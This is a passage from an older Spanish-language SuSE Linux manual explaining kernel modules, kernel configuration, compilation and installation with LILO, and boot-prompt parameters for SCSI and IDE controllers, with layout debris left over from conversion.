kernel en diferentes directorios y acceder a las actualmente válidas mediante un enlace simbólico. YaST instala los paquetes de esta forma automáticamente. En realidad se podrían instalar y compilar las fuentes del kernel en cualquier directorio, pero existe bastante software que espera encontrar las fuentes del * * 349 13. El kernel _________________________________________________________________________________________________________________* *_______________________________________@ kernel en el directorio /usr/src/linux. Por lo tanto es mejor optar por este directorio para asegurar la compilación correcta de cualquier programa. 13.2 Módulos del kernel Actualmente existen muchos drivers y funciones adicionales que no deben formar parte fija del kernel necesariamente, sino que pueden ser cargados como módulos (ingl. kernel module) en tiempo de ejecución. Durante la configuración del kernel es cuando se determina cuáles drivers se incorporan de forma fija al mismo y cuáles como módulo. Los módulos del kernel se guardan en el directorio /lib/modules/ , donde corresponde a la versión actual del kernel (por ejemplo 2.2.14). Siempre que sea posible se debe aprovechar la posibilidad de usar módulos. Siga la pauta: las funciones del kernel que no se necesitan durante el arranque de la computadora, se deben realizar como módulos; de este modo se asegura que el kernel no crezca demasiado y que ni la BIOS ni ningún gestor de arranque tenga problemas al cargar el kernel. Esto significa que el driver del disco duro, el soporte de ext2 y otras funciones parecidas siempre deben formar parte del kernel, mientras que el soporte de isofs , msdos o sound siempre se deberían compilar como módulos. Manejo de los módulos Existen los siguientes comandos para trabajar con módulos: o insmod El comando insmod carga el módulo indicado que se busca en un sub- directorio de /lib/modules/ . A favor del mejor comando modprobe se debería dejar de usar insmod . o rmmod Este comando descarga el módulo indicado, lo cual solo es posible cuando se ha dejado de usar esta función del módulo, y no es posible descargar p. ej. el módulo isofs cuando todavía hay un CD montado. o depmod Este comando genera en el directorio /lib/modules/ el fichero modules.dep que registra la dependencia de los módulos entre sí. De este modo hay seguridad de que se cargan automáticamente todos los módulos que dependen del primero. Si el inicio del kernel-damon está previsto en /etc/rc.config, el fichero con las dependencias de los módulos se genera automáticamente cuando Linux se inicia (salvo que el fichero ya exista). o modprobe Carga o descarga de un módulo considerando las dependencias con otros. El comando es muy versátil así que se puede usar para muchas otras cosas (p. ej. para probar todos los módulos de un determinado tipo hasta que se cargue uno exitosamente). Al contrario de insmod , modprobe evalúa el fichero /etc/modules.conf y por eso solo se debería usar para cargar módulos. La Manpage de modprobe explica todas las posibilidades. 350 _____________________________________________________________________________________________13.2.__Módulos_del_kernel______* *______________________ o lsmod Muestra los módulos actualmente cargados y sus dependencias. Los módulos que fueron cargados por el kernel-daemon se identifican por (autoclean) al final de la línea. Esta palabra indica que se trata de un módulo que se descarga automáticamente cuando deja de ser usado para un determinado tiempo. /etc/modules.conf El fichero /etc/modules.conf influye sobre la carga de módulos (ver pági- na del manual de depmod (man depmod )). Advertencia: Desde la versión 6.3 de SuSE Linux el nombre del fichero /etc/conf.modules se ha cambiado a /etc/modules.conf. Es precisamente este fichero el que permite indicar los parámetros para aque- llos módulos que acceden directamente al hardware y por lo tanto deben ser adaptados a la computadora específica (p. ej. driver de unidades CD-ROM o driver para tarjetas red). Los parámetros que se indican en este fichero son en principio idénticos a los que se pasan al kernel (p. ej. con LILO ) a la hora de arrancar (ver apartado 14.3.2 en la página 360Parámetros del kernel en el Boot-Promptsubsection.14.3.2), sin embargo, en muchos casos sus nom- bres son diferentes (ver el apartado 14.3.4 en la página 373Parámetros de modprobe subsection.14.3.4). Si no se consigue cargar un módulo, intente especificar el hardware en el fichero /etc/conf.modules y para cargarlo se debe usar el módulo modprobe en lugar de insmod . Kmod ~ el ''Kernel Module Loader'' El modo más elegante para emplear módulos de kernel es ~ desde la versión 2.2.x ~ el uso del ''Kernel Module Loader'', que reemplaza al kernel-damon (kerneld ) ''antiguo''. kmod permanece en segundo plano y se ocupa de cargar automáticamente los módulos con llamadas a modprobe cuando se necesita la correspondiente función del kernel. Para usar el kmod se debe activar, durante la configuración del kernel, la opción `Kernel module loader' (CONFIG_KMOD ). ¡Los drivers que se necesitan para acceder al sistema de ficheros raíz deben estar incorporados al kernel!, por lo cual, no se debe configurar el driver SCSI ni el sistema de ficheros de la partición raíz (normalmente ext2 ) como módulos! _______________________________________________________________________________________________________________________|| |||||||| SuSE Linux usa ahora el initrd (ingl. initial ramdisk) para incorporar ||| | |||||||| || | |||||||| de esta forma p. ej. el driver SCSI. Generando un kernel propio se precisa || | |||||||| || | |||||||| adaptar la variable INITRD_MODULES dentro del fichero /etc/rc.config || | |||||||| (apartado 17.6 en la página 439Inicializar hardware local (Teclado, mo- || | |||||||| || | |||||||| dem, mouse, PCMCIA etc.)Hfootnote.76) y es necesario poner la línea con || | |||||||| initrd dentro del fichero /etc/lilo.conf en comentario (ver aparta- || | |||||||| || | |||||||| do 16.2.5 en la página 415Posibles problemas ~ Kernel compilado a || | |||||||| medidasubsection.16.2.5). ~ ¡Si se omiten estos pasos, el kernel se cuelga || | |||||||| || | |||||||| durante el arranque! || | ||||||||_______________________________________________________________________________________________________________||_ * * 351 13. El kernel _________________________________________________________________________________________________________________* *_______________________________________@ El uso de los módulos del kernel se ofrece sobre todo para funciones de uso poco frecuente como p. ej. parport y el soporte de impresora, driver para disqueteras o determinados sistemas de ficheros. Kmod no está diseñado para descargar automáticamente módulos; pensando en la cantidad de memoria RAM de las computadoras de hoy en día, se trata de un operación no necesaria, ya que con la descarga de un módulo se desocuparía muy poca memoria (ver /usr/src/linux/Documentation/ kmod.txt). Los servidores que cumplen tareas muy específicas trabajan más rápido con un kernel ''monolítico''. 13.3 Configuración del kernel La configuración del kernel que se instaló en el sistema durante la instalación o actualización está contenida en el fichero /usr/src/linux/.config (ver apartado 2.2.9 en la página 40Seleccionar kernelsubsection.2.2.9) Este fichero solo se refiere al kernel mismo, no a los módulos que pertenecen al paquete kernmod. Si también quiere compilar de nuevo algunos módulos tiene que seleccionarlos explícitamente. Se puede configurar el kernel de tres formas distintas: 1. En la línea de comando 2. En un menú en modo texto 3. En un menú bajo el sistema X Window Estas tres formas de configuración se presentan a continuación. Configuración en la línea de comando Para configurar el kernel se cambia a /usr/src/linux y se introduce el siguiente comando: tierra:/usr/src/linux # make config Aparece una serie de preguntas sobre las funciones que el kernel debe sopor- tar y para contestarlas_existen_generalmente_dos o tres_posibilidades:_ Ya sea el sencillo |y_ |o |n_ |o bien |y_ |(ingl. yes), |n_ |(ingl. no) o |m_ |(ingl. module). `m' significa que el driver correspondiente no se incorpora fijo en el kernel, sino que es posible ''añadirlo'' en tiempo de ejecución. Por supuesto, todos los drivers que se necesitan para arrancar el sistema_deben incorporarse de forma fija al kernel; para estos módulos pulse |y_ |. Al presionar cualquier otra tecla, aparece una ayuda corta sobre la correspon- diente opción. Configuración en modo texto Una vía más asequible para configurar el kernel se consigue con el comando: tierra:/usr/src/linux # make menuconfig Una gran ventaja es p. ej. que no hace falta pasar por una gran cantidad de preguntas modificando solo un aspecto de la configuración; la configuración es más estructurada. 352 ________________________________________________________________13.4.__Ajustes_en_la_configuración_del_kernel_______________* *______________________ Configuración bajo el sistema X Window Si está instalado el sistema X Window (paquete xf86) tal como Tcl/Tk (pa- quete tcl y paquete tk), queda la alternativa de iniciar el proceso de insta- lación con: tierra:/usr/src/linux # make xconfig De este modo se dispone de una superficie gráfica más confortable pero es preciso iniciar el sistema X Window como superusuario `root', pues de lo contrario habría que tomar medidas adicionales para tener acceso a la pantalla de otro usuario. 13.4 Ajustes en la configuración del kernel Debido a la cantidad no es posible detallar en este manual todas las opciones Ayuda que ofrece la configuración del kernel, pero se puede usar la amplia ayuda en línea de la que se dispone durante la configuración del kernel. Lo más nuevo en cuanto a documentación se encuentra siempre en el paquete de las fuentes del kernel en el directorio /usr/src/linux/Documentation. 13.5 Compilación del kernel _______________________________________________________________________________________________________________________|| |||||||| Si desea instalar su propio kernel en el directorio /boot, quite ||| | |||||||| sencillamente el símbolo de comentario por delante de la línea || | |||||||| || | |||||||| INSTALL_PATH=/boot (aprox. línea 74) en el Makefile principal. || | ||||||||_______________________________________________________________________________________________________________||_ Recomendamos generar un ''bzImage'' con el cual se evita el efecto de un kernel demasiado grande. Es algo que ocurre a menudo cuando se han selec- cionado demasiadas características y luego se genera un ''zImage''. Con ''bz- Image'' se evitan entonces los mensajes típicos como "kernel too bigö "System is too big". Una vez adaptado el kernel a sus necesidades, debe iniciar la compilación con: tierra:/usr/src/linux # make dep tierra:/usr/src/linux # make clean tierra:/usr/src/linux # make bzImage Se pueden introducir también los 3 comandos en una sola línea y así se eje- cutan uno después del otro. De esta manera, la compilación se hace ''au- tomáticamente'', lo que permite salir a tomar un café o dejar la computadora trabajando durante la noche. Para ello introduzca: tierra:/usr/src/linux # make dep clean bzImage Según la potencia de la computadora, ésta puede tardar desde algunos minutos (AMD Athlon / Intel Pentium III rápido) 1 hasta un par de horas (386 con 8 MB de RAM) para compilar el kernel. Después de una compilación exitosa el kernel comprimido se encuentra en el directorio_/usr/src/linux/arch/i386____/boot._La_imagen_del_kernel, o sea 1 Una prueba común para hardware y software es la compilación del kernel con la opción make -j , que requiere de mucha memoria RAM (hasta más de 100 MB). En este caso se inicia un compilador para cada fichero fuente. * * 353 13. El kernel _________________________________________________________________________________________________________________* *_______________________________________@ el fichero que contiene el kernel, se llama bzImage . Si este no se encuentra en el mencionado directorio, lo más probable es que haya ocurrido un error durante la compilación y que su respectivo mensaje se haya perdido entre todos los mensajes en pantalla. Para comprobar si realmente hubo un error se puede iniciar la compilación por segunda vez con: tierra:/usr/src/linux # make bzImage y observar si realmente aparecen errores. ¡No hay por qué asustarse, errores durante la compilación del kernel son más bien escasos! Si se trabaja con la shell ''Bash'', se pueden direccionar los mensajes de la compilación al fichero kernel.out con el comando: tierra:/usr/src/linux # make bzImage 2>&1 | tee kernel.out El mismo comando bajo Tcsh sería: tierra:/usr/src/linux # make bzImage |& tee kernel.out Si hay funciones del kernel que se realizan con módulos, es preciso compi- larlos, lo cual se consigue con el siguiente comando: tierra:/usr/src/linux # make modules 13.6 Instalación del kernel Después de la compilación del kernel se debe procurar también que éste se inicie; si se usa LILO para arrancar, es preciso reinstalarlo. Lo más fácil es copiar el nuevo kernel a /boot/vmlinuz (ver apartado 13.5 en la página anterior) e iniciar después LILO . Sin embargo, es mejor conservar el kernel antiguo (/boot/vmlinuz.old) para evitar sorpresas, en caso de que el nuevo no funcione tal como se espera: tierra:/usr/src/linux # cp /boot/vmlinuz /boot/vmlinuz.old tierra:/usr/src/linux # cp arch/i386/boot/bzImage /boot/vmlinuz tierra:/usr/src/linux # lilo El comando make bzlilo realiza estos tres pasos con una sola orden. Los módulos compilados también se deben instalar; el siguiente comando: tierra:/usr/src/linux # make modules_install los copia en los directorios de destino correctos (/lib/modules/ ). ________________________________________________________________________________________________________* *________|| | Si se incorporan módulos al kernel, es necesario quitarlos en /lib/ * * |||| | * * ||| | modules , ya que en caso contrario pueden aparecer efectos * * ||| | extraños. Por eso se ruega encarecidamente a los principiantes en materia * * ||| | * * ||| | de Linux, no compilar un kernel propio. * * ||| |_______________________________________________________________________________________________________* *________|||_ Se debe agregar al fichero /etc/lilo.conf (ver apartado 4.4.1 en la pági- na 125El contenido del fichero lilo.conf subsection.4.4.1) un label (rótulo) adicional denominado Linux.old y modificar el nombre del kernel antiguo a /boot/vmlinuz.old. Así se puede arrancar seguro con el kernel antiguo en caso de que se presentara algún problema con el nuevo. Se trata de una posibilidad que se explica detalladamente en el capítulo 4 en la página 119Ar- rancar y gestor de arranquechapter.4. Si el fichero /etc/lilo.conf está adaptado a las propias necesidades, se debe ejecutar de nuevo: 354 _______________________________________________________________________13.7.__Generar_un_disquete_de_arranque_______________* *______________________ tierra:/usr/src/linux # make lilo Por otra parte, en caso de iniciar Linux desde DOS usando linux.bat ~ o sea con loadlin ~ se necesita copiar el kernel nuevo a /dosc/loadlin/ bzimage2 , para que se active después del próximo arranque. Si se inicia Linux con el gestor de arranque de Windows NT no se debe olvi- dar de copiar nuevamente el sector de arranque de LILO (ver apartado 4.7.2 en la página 136Windows NT y Linux en un disco durosubsection.4.7.2). Además tenga en cuenta lo siguiente: el fichero /boot/System.map con- tiene los símbolos del kernel necesarios para que los módulos puedan ac- ceder correctamente a las funciones del kernel. Este fichero depende de la versión actual del kernel por lo que se debería copiar el fichero actual3 /usr/src/linux/System.map al directorio /boot una vez que la compi- lación haya finalizado. Si se usa el comando make bzlilo o make zlilo para generar el kernel, la mencionada copia se hace automáticamente. Un mensaje como "System.map does not match actual kernel" du- rante el arranque del sistema, indica que el fichero System.map no se ha copiado al directorio /boot. 13.7 Generar un disquete de arranque Para generar un disquete de arranque con el kernel nuevo, se puede usar sencillamente el siguiente comando: tierra:/usr/src/linux # make bzdisk 13.8 Limpieza del disco después de la compilación del ker- nel Los (ficheros de) objetos que se generan durante la compilación del kernel se pueden borrar si estos ocupan demasiado espacio de disco: tierra: # cd /usr/src/linux tierra:/usr/src/linux # make clean Sin embargo, si dispone de suficiente espacio de disco y además piensa mod- ificar la configuración del kernel puede saltarse este paso. De este modo una nueva compilación va mucho más rápido, ya que solo se compilan las partes del sistema que fueron modificadas. 2 ____________________________________________________ O bien al lugar donde realmente está loadlin instalado. 3 Después de cada compilación este fichero se genera de nuevo. * * 355 13. El kernel _________________________________________________________________________________________________________________* *_______________________________________@ 356 Capítulo 14 Parámetros del kernel 14.1 Drivers del kernel Existe una gran variedad de componentes y periféricos para PCs. El sistema operativo necesita una serie de ''drivers'' (en el caso de Linux el ''kernel'') para poder acceder a estos dispositivos. En principio existen dos mecanismos para dar al kernel la funcionalidad de un driver: o Los drivers se pueden incorporar fijamente al kernel. Un kernel de este tipo, de ''una sola pieza'', se denomina en este libro kernel monolítico. Algunos drivers solamente existen en esta forma, por lo tanto los kernels monolíticos no dejan de tener justificación. o Los drivers se incorporan al kernel en el momento que se necesitan; un kernel de tal característica se denomina kernel modularizado. La ventaja es que solo los drivers necesarios se cargan en el momento necesario y así el kernel no arrastra ningún tipo de ''lastre''. El kernel del disquete de arranque de SuSE trabaja a base de módulos y así resulta útil para la mayoría de las computadoras. Algunos drivers aún no existen como módulos. Independientemente de la ubicación de los drivers (fijos en el kernel o car- gables como módulos), es posible que existan componentes que el kernel no sea capaz de reconocer por sí mismo. Para tal caso existe la posibilidad de especificar más exactamente el componente, pasando parámetros adicionales al kernel. o Proporcionar información al kernel sobre el tipo de hardware usado y cómo comunicarse con éste (p. ej. rango de memoria, número de interrup- ción, etc.). A veces el driver es capaz de averiguar esto por sí mismo pero resulta más seguro y rápido tomar la iniciativa. o En casos problemáticos se puede conseguir un buen funcionamiento del sistema Linux usando parámetros especiales. En el caso de un kernel monolítico se deben pasar los parámetros al ker- nel a través de un ''bootloader''1 . Los drivers en forma de módulos reciben sus parámetros mediante los comandos insmod o modprobe , que cargan si- multáneamente_el_módulo.___________________________________ 1 Por eso estos parámetros también se denominan parámetros de LILO , por el ''bootloader'' tradicional de la arquitectura x86. * * 357 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ En cada inicio de sistema se deben indicar los parámetros, ya que el kernel desafortunadamente no ''aprende'' por sí mismo. Después de la instalación es posible colocar los parámetros de kernel en los ficheros /etc/lilo.conf o /etc/modules.conf. Con ello se consigue que LILO o modprobe los evalúen automáticamente. El formato de indicación de los parámetros para los drivers en forma de mó- dulos, lamentablemente es diferente al de los drivers incorporados al kernel, por lo cual más adelante se detallan estos parámetros minuciosamente. Para algunos módulos (lectores CD-ROM) el traspaso de los parámetros ya fue unificado, así que se pueden usar los mismos parámetros si se está cargando un módulo o pasando un parámetro al prompt del LILO . 14.2 Algunos consejos Antes de que aparezcan las listas con los parámetros, le damos un par de consejos acerca del reconocimiento de hardware por parte de los drivers y acerca de la indicación de parámetros: o La mayoría de los drivers son capaces de realizar un autoprobing, o sea, el driver va probando diferentes direcciones en las que se encuentra general- mente el hardware. Haciendo esto, es posible que el driver encuentre un componente del cual no se encarga y que lo inicie equivocadamente, por lo tanto es posible también que la computadora se detenga (se cuelgue). o También puede ocurrir que un módulo se cargue exitosamente aunque el hardware para el que fue diseñado no esté presente en la computadora (esto pasa sobre todo con los drivers para las tarjetas de red de 3 Com). Sin embargo, por razones de simplicidad, pruebe primero con el ''auto- probing''. Los drivers que se cargan mal se pueden descargar sin proble- mas. Si el hardware no se reconoce bien se puede intentar pasar parámet- ros al kernel para que éste pueda reconocer correctamente el componente en cuestión. o Finalmente existen algunos componentes para los que existen varios drivers (NCR 53C810 , Ultrastor ). Según la información que tenemos, entre los dos Ultrastor-drivers no existe una ventaja importante del uno so- bre el otro. El BSD-driver para el NCR53C819 soporta también los demás productos NCR53C8xx (p. ej. 53C875) mientras que el NCR-driver an- tiguo soporta grabadoras de CD. En caso de duda pruebe simplemente cuál es el driver apropiado para el soporte de su hardware. En el momento del arranque, la distribución_norteamericana_del teclado_aún está activa,_por lo tanto el |=_ |está en la tecla de |¡_ |y el |;_ |se ''oculta'' bajo la tecla |ñ_ |, etc. La distribución del teclado se ve en la figura 14.1 en la página siguiente. 358 __________________________________________________________________________________________________14.3.__Los_parámetros_____* *______________________ _______________________________________________________________________________________________________________________|||| |||||||| | ||||||||| || |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Figura 14.1: La distribución del teclado norteamericano 14.3 Los parámetros 14.3.1 Anotación y significado Las siguientes listas de parámetros del kernel, presentadas en orden alfabéti- co, mencionan los distintos dispositivos y sus respectivos drivers junto con los parámetros necesarios o admitidos. Los siguientes parámetros siempre aparecen con el mismo significado que se detalla a continuación: ______________________________________________________________________________________________________________________ identificación de puerto hexadecimal, (p. ej. 0x300) Interrupción para el acceso al dispositivo (p. ej. 7) canal DMA a través del cual se comunica el disposi- tivo, (p. ej. 1) , zona de memoria hexadecimal para shared memory ______________________________________________________________________________________________________________________ Tabla 14.1: Nombres de variables para parámetros del kernel de uso frecuente A continuación se explican sobre todo los parámetros importantes para una instalación exitosa y no aquellos que pueden servir para fines muy especiales. Al indicar parámetros se debe tener en cuenta la diferencia entre mayúsculas y minúsculas. Después de la instalación se encuentra una introducción sobre todas las posi- bilidades de los parámetros del kernel en el BootPrompt-HOWTO del di- rectorio /usr/doc/howto y junto con las fuentes del kernel en el fichero /usr/src/linux/Documentation/kernel-parameters.txt. * * 359 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ 14.3.2 Parámetros del kernel en el Boot-Prompt Los parámetros que se mencionan en este apartado solo se pueden pasar di- rectamente al kernel, p. ej. al prompt de SYSLINUX (en caso del disquete de arranque suministrado), al prompt de LILO o mediante loadlin . Si de- sea usar el driver en cuestión como módulo, consulte los parámetros apli- cables, en este caso en el apartado 14.3.4 en la página 373Parámetros de modprobe subsection.14.3.4. ________________________________________________________________________________________________________* *________|| | ¡Todos los parámetros importantes para un driver se deben indicar uno trás * * |||| | otro, separados por comas! No se debe agregar jamás un espacio entre los * * ||| | * * ||| | parámetros! * * ||| |_______________________________________________________________________________________________________* *________|||_ Para indicar p. ej. los parámetros del driver aha1542 en el Bootprompt, se introduce lo siguiente (al comienzo siempre se indica el nombre del fichero que contiene el kernel; en los disquetes de arranque de SuSE el kernel se llama linux!): linux aha1542=0x300 Parámetros de arranque generales Parámetros Mediante algunos parámetros generales es posible influir en el compor- generales tamiento general del kernel de Linux; ver la página del manual de bootparam (man 7 bootparam ). o Modo de reinicio (saliendo de Linux) reboot= donde puede tener los siguientes valores: ____________________________________________________________________________________________ |__variable____|____valores_/_significado__________________________________________|_________ | |warm Reinicio en caliente (sin test de memoria) | | |cold Reinicio en frío (con test de memoria) | | |bios Reinicio por BIOS | |__________________|hard_____Reinicio_por_CPU-Crash_(triple_fault)_________|________________ Ejemplo: reboot=cold inicia la computadora después del ''shutdown'' de Linux como si se hu- biera pulsado la tecla Reset. o Protección de rangos E/S (Reservar) reserve=,,...,, Con este parámetro se pueden reservar rangos de E/S (entrada/salida) para el hardware que no resista el ''autoprobing'', reaccionando p. ej. con un cuelgue del sistema. Ejemplo: Con el comando: reserve=0x330,32 ether=5,0x330,eth0 se puede proteger una tarjeta de red sensible al autoprobing sin dejar de inicializarla. En el ejemplo dado la tarjeta tiene un rango de E/S de un 360 __________________________________________________________________________________________________14.3.__Los_parámetros_____* *______________________ ancho de 32 byte, que comienza a partir de la dirección de memoria 0x330 y el valor de la interrupción es 5 . El significado de los parámetros de tarjetas de red se explica en el aparta- do 14.3.2 en la página 368Otros dispositivostable.14.2. o Indicar partición raíz root= _____________________________________________________________________________ ||__variable______________|__valores_/_significado_________________|__________ ||________________|p._ej./dev/hda1,_/dev/sdb5__|__________________ Ejemplo: root=/dev/hda5 Arranca el kernel e intenta montar la partición raíz del primer disco lógico en la partición extendida del primer disco duro (E)IDE. o Cantidad de memoria RAM (RAM) mem= Puede indicar la cantidad de + Memoria en bytes, kilobytes o megabytes. Los ejemplos muestran las diferentes anotaciones para 96 MB de RAM. Ejemplos: mem=96M mem=98304k En raras ocasiones es posible que la placa base o el chipset no puedan lib- erar toda la memoria ya que usan una cierta cantidad para ''fines propios'' (pueden ser hasta 512 K). Con el método de ''prueba y error'' sería posible determinar la cantidad exacta, pero para simplificar se puede suponer que se trata de 512 K; en nuestro ejemplo es lo siguiente: mem=5ff8000 Si la computadora es un Pentium clónico, el comando mem=nopentium puede hacer que trabaje una computadora que antes no funcionaba. Controladoras SCSI y el SCSI-subsistema Se puede influir en la mayoría de las controladoras SCSI a través de los Controladora parámetros. SCSI o Unidades de cinta SCSI (Streamer) st=,[,] _____________________________________________________________________________________________________ ||__variable__________|__valores_/_significado_____________________________________________|__________ || |Tamaño del búfer (número de bloques de 1 KB) | || |Limite de escritura (número de bloques de 1 KB) | || |(ingl. write threshold) | ||__________________|Número_máximo_de_búferes_opcional_(p._ej.__2)_______|______________________ Ejemplo: st=1000,2000 * * 361 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ o Número de dispositivos SCSI por ID max_scsi_luns= ________________________________________________________ |__variable________|____valores_/_significado__|_________ |______________|1..8___________________________|_ Ejemplo: Si solo desea usar explícitamente el primer LUN (ingl. logical unit num- ber), se debe definir el parámetro como: max_scsi_luns=1 . Una aplicación típica son los lectores con múltiples CDs, para los que el número de CDs utilizables es igual al valor del parámetro max_scsi_luns . o Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 SCSI-hostadaptor aha152x=,,[,[,[,[, []]]]] __________________________________________________________________________________________________* *_________ |__variable_______________________________________|_____valores_/_significado_____________________* *__|_______ | (SCSI-ID del hostadaptor) | ID del hostadaptor, normal 7 | | (reconnect) | 0, 1 * * | | (parity) | 0, 1 comprobación de paridad | | (synchronous) | 0, 1 transferencia sincrónica | | | 100 retardo de bus, valor estándar | |__________________________________________|_0,_1__C/H/S-transformación_____________|__* *_________ Este driver permite usar muchas controladoras SCSI de bajo coste. Por ejemplo, todas las tarjetas de sonido con controladora SCSI (aparte de la Pro Audio Spectrum ) incorporan uno de estos chips de Adaptec y se pueden usar con este driver. Para todas las 152x no originales, es posible que se necesite siempre el cuarto parámetro (RECONNECT ) para hacerlas funcionar y este parámetro debe estar en `0' para casi todos los tipos; solamente la controladora AHA2825 necesita el valor `1'. Ejemplo: aha152x=0x300,10,7 o Adaptec AHA-1540 / 1542 SCSI-hostadaptor aha1542=[,,[,]] _____________________________________________________________ |__variable______________|____valores_/_significado__|________ | | 2..15 | | | 1..64 | |_______________|_5,6,7,8,10_____________________| Ejemplo: aha1542=0x300 o Adaptec AHA-274x / 284x / 294x hostadaptor aic7xxx=[,[, ...]] 362 __________________________________________________________________________________________________14.3.__Los_parámetros_______* *____________________ ___________________________________________________________________________________________________________ ||__variable____________|__valores_/_significado__________________________________________________|_________ || |extended | || |activa la transformación de la geometría de disco. | || |no_reset | || |evita resetear el Bus SCSI en la inicialización | || |de la controladora SCSI. | || |irq_trigger: | || |Solo para sistema con bus Eisa | || |0: control por flanco del impulso, | || |1: control por nivel de impulso. | || |verbose | || |Para recibir más mensajes. | || |reverse_scan | || |Cuando la BIOS trata varias tarjetas | || |en orden equivocado. | || |7895_irq_hack: | || |-1 solo para placas madre Tyan II. | || |pci_parity: | || |sin definir pci_parity , la | || |paridad es par: | || |0 sin control de paridad | || |1 paridad impar | || |tag_info:``` | || |Administración de colas para aumentar rendimiento, | ||_________________________|para_expertos,_ver_las_fuentes_del_kernel.____________________|________________ Ejemplo: aic7xxx=no_reset , si la computadora se detiene reseteando el bus SCSI. Para controladoras SCSI a base de aic7xxx solo se necesitan parámetros si su funcionamiento es erróneo o insatisfactorio. La controladora AHA-2940 AU solo funciona bien a partir de la ver- sión 1.3 de la BIOS; el soporte de Adaptec proporciona actualizaciones. ¡La controladora Adaptec 2920 no funciona con este driver, sino con el Future Domain-Driver (apartado 14.3.2 en la página siguiente)! o AdvanSys SCSI-hostadaptor advansys=,,...,, Ejemplo: advansys=0x110,0x210 Este ejemplo indica al kernel que busque la controladora AdvanSys bajo las direcciones señaladas. o AM53/79C974 SCSI-hostadaptor AM53C974=,,, * * 363 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ _________________________________________________________________________________________________ |__variable______________|____valores_/_significado______________________________________|________ | | SCSI-ID de la controladora, típico 7 | | | SCSI-ID del dispositivo 0..7 | | | 3,5,10 Mbit/s máxima tasa de transferencia | |___________________|_Modo_de_transf.;_0__=_asíncrono______________________|_____________ Cuando parece que la controladora ''se atraganta'' con el flujo de datos, se puede reducir la tasa máxima de transferencia para un dispositivo (p. ej. la primer unidad CD-ROM-SCSI /dev/scd0 con ID 5) en la cadena: Ejemplo: AM53C974=7,5,3,0 Se puede indicar una tasa y un modo de transferencia propios para cada dispositivo, así que AM53C974=x,x,x,x puede aparecer hasta siete veces para una controladora. o BusLogic SCSI-hostadaptor BusLogic= BusLogic= Ejemplo: BusLogic=0x300 __________________________________________________________________________________________________* *_______ |__variable__________|____valores_/_significado__________________________________________________|* *________ | | Dirección de la controladora, p. ej. 0x300 | | | NoProbe No buscar la controladora | | | NoProbeISA No buscar la controladora ISA | | | NoProbePCI No buscar la controladora PCI | | | NoSortPCI La BIOS determina el orden de | | | las controladoras Multimaster | | | MultiMasterFirst Multimaster por delante | | | de Flashpoint | | | FlashPointFirst Flashpoint por delante | | | de Multimaster | | | InhibitTargetInquiry Para dispositivos antiguos | | | que tienen problemas con scsi_luns > 0 | | | TraceProbe mensajes adicionales | | | cuando la controladora se inicializa | | | TraceHardwareReset mensajes adicionales | | | en un reset por hardware de la controladora | | | TraceConfiguration mensajes adicionales | | | en la configuración de la controladora | | | TraceErrors mensajes de error de los | | | dispositivos conectados | |_______________________|_Debug_____todos_los_mensajes_________________________________________|__* *_______ Para esta controladora hay más parámetros de configuración que sirven para afinar su ajuste. Se explica en /usr/src/linux/drivers/scsi/ README.BusLogic. o Future Domain TMC-16x0-SCSI-hostadaptor fdomain=,[,] 364 __________________________________________________________________________________________________14.3.__Los_parámetros_____* *______________________ ______________________________________________________________________ ||__variable__|__valores_/_significado______________________|__________ ||___________S|CSI-ID_de_la_controladora_0..7______|______________ Se usa este driver también para la controladora SCSI Adaptec 2920 . Ejemplo: fdomain=0x140,11,7 o Future Domain TMC-885/950-hostadaptor tmc8xx=, Ejemplo: tmc8xx=0xca000,5 o Familia de NCR 5380 SCSI-hostadaptor ncr5380=,, Ejemplo: ncr5380=0x340,10,3 o Familia de NCR 53c400 SCSI-hostadaptor ncr53c400=, Ejemplo: ncr53c400=0x350,5 Este driver puede trabajar p. ej. con la controladora Trantor T130B , que tiene una difusión amplia. o Familia de NCR 53c406a SCSI-hostadaptor ncr53c406a=[,[,]] ______________________________________________________________________________ ||__variable__________|__valores_/_significado______________________|__________ ||______________|0,_sin_uso_de_un_modo-PIO_rápido__|_________________ Ejemplo: ncr53c406a=0x330,10,0 o Seagate ST01/02 SCSI-hostadaptor st0x=, Ejemplo: st0x=0xc8000,5 o Trantor T128/128F/228 SCSI-hostadaptor t128=, Ejemplo: t128=0x340,10 Controladoras (E)IDE-Controller y dispositivos ATAPI Hay muchos parámetros a disposición para configurar los dispositivos conec- Controladoras tados. (E)IDE Dispositivos o ATAPI-CD-ROM en la controladora (E)IDE ATAPI hd=cdrom hd=serialize * * 365 14. Parámetros del_kernel_________________________________________________________________________________________________________* *_______________________________________@ ______________________________________________________________________ |__variable__|____valores_/_significado_______________________|________ | |a , b , c , d ,adonde: | | |a Maestro en 1a controladora IDE | | |b Esclavo en 1a controladora IDE | | |c Maestro en 2a controladora IDE | |________________|d__Esclavo_en_2___controladora_IDE___|______________ Ejemplo: Un lector CD-Rom como maestro en la segunda controladora se anuncia con hdc=cdrom . o Disco duro hd=,,[,[,]] _________________________________________________________________________________ |__variable______________|____valores_/_significado______________________|________ o o | | a , b , . . . , h 1 a 8 disco duro | | | número de cilindros | | | número de cabezales | | | número de sectores | | | cilindro a partir del cual se aplica | | | la compensación de escritura | |______________________|_Interrupción_________________________________|_____ Si la BIOS es un poco antigua, es posible que no se reconozca bien la geometría del disco. En tal caso se pueden pasar los parámetros correctos al kernel para que éste la pueda reconocer correcta- y completamente. Ejemplo: hdc=1050,32,64 hd= __________________________________________________________________________________________________* *___ |__variable__________|____valores_/_significado______________________________________________|____* *____ o o | | a , b , . . . , h 1 a 8 disco duro | | | noprobe , si hay problemas con la | | | comprobación de un disco duro | | | none ignorar la entrada en la CMOS y no probar | | | nowerr ignorar WREE`STAT-Bit | | | cdrom no reconocido o reconocido como disco | | | o fallo en arranque | | | autotune uso del modo PIO más rápido | | | slow después de cada acceso se introduce | | | una pausa larga, lo que realmente ralentiza mucho | |_______________________|_pero_a_veces_es_el_último_recurso.___________________________|__________* *___ Si un lector de CD-Rom no se reconoce bien, la indicación de puede introducir el dispositivo correctamente al sistema. Ejemplo: hdd=cdrom o Chipsets de controladoras EIDE ide0= 366 __________________________________________________________________________________________________14.3.__Los_parámetros___________* 